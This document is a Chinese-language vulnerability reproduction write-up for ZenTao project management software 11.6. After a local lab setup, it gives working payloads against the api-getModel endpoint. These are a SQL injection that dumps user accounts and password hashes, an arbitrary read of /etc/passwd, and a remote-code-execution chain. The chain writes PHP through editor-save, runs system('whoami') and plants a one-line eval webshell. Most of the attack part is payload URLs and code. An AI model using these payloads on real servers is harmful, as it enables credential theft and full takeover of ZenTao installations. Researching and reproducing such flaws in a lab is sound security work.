漏洞说明
禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理、项目管理、测试管理于一体,同时还包含了事务管理、组织管理等诸多功能,是中小型企业项目管理的首选,基于自主的PHP开发框架──ZenTaoPHP而成,第三方开发者或企业可非常方便的开发插件或者进行定制。
此次发现的漏洞正是ZenTaoPHP框架中的通用代码所造成的的,因此禅道几乎所有的项目都受此漏洞影响。本次漏洞复现以ZenTaoPMS.11.6版本作为演示
环境搭建
下载链接:https://www.zentao.net/download/80153.html
解压安装后访问禅道主页 http://127.0.0.1/index.php
查看当前版本 http://127.0.0.1:81/zentao/index.php?mode=getconfig
至此环境搭建成功
漏洞复现
漏洞1 SQL注入
首先我们登录admin/CD87691043cs账户修改默认密码,创建一个普通Test0001/1qaz2wsx3edc!@#$用户并登录
Payload
1 | http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user |
Poc访问结果如下:
漏洞2 文件读取
Payload
1 | http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd |
Poc访问结果如下:
由于本地环境是window系统,所以没有回显,我们在xampp\zentao\module\api目录下新建一个test文件,读取
1 | http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=test |
漏洞3 RCE
利用上面的文件读取来执行命令
Payload1
1 | POST /zentao/api-getModel-editor-save-filePath=1111 HTTP/1.1 |
先写入一个phpinfo,再读取访问
需要给物理路径加上一层才能包含成功
1 | http://127.0.0.1/zentao/api-getModel-api-getMethod-filePath=1111/1 |
Payload2
1 | fileContent=<?php system('whoami');?> |
Payload3(一句话)
1 | fileContent=<?php file_put_contents('E://CMS/ZenTaoPMS/xampp/zentao/www/xxx.php.aaa', '<?php @eval($_REQUEST["x"]);?>');?> |
这里是window系统,所以写入绝对路径,绝对路径可以同样用fileContent=<?php getcwd()?>
获取
1 | http://127.0.0.1/zentao/xxx.php.aaa?x=phpinfo(); |
PS:最好使用linux系统安装,windows不要使用一键安装包安装,windows系统安装集成版的话根目录下的php代码好像做了限制,无法执行。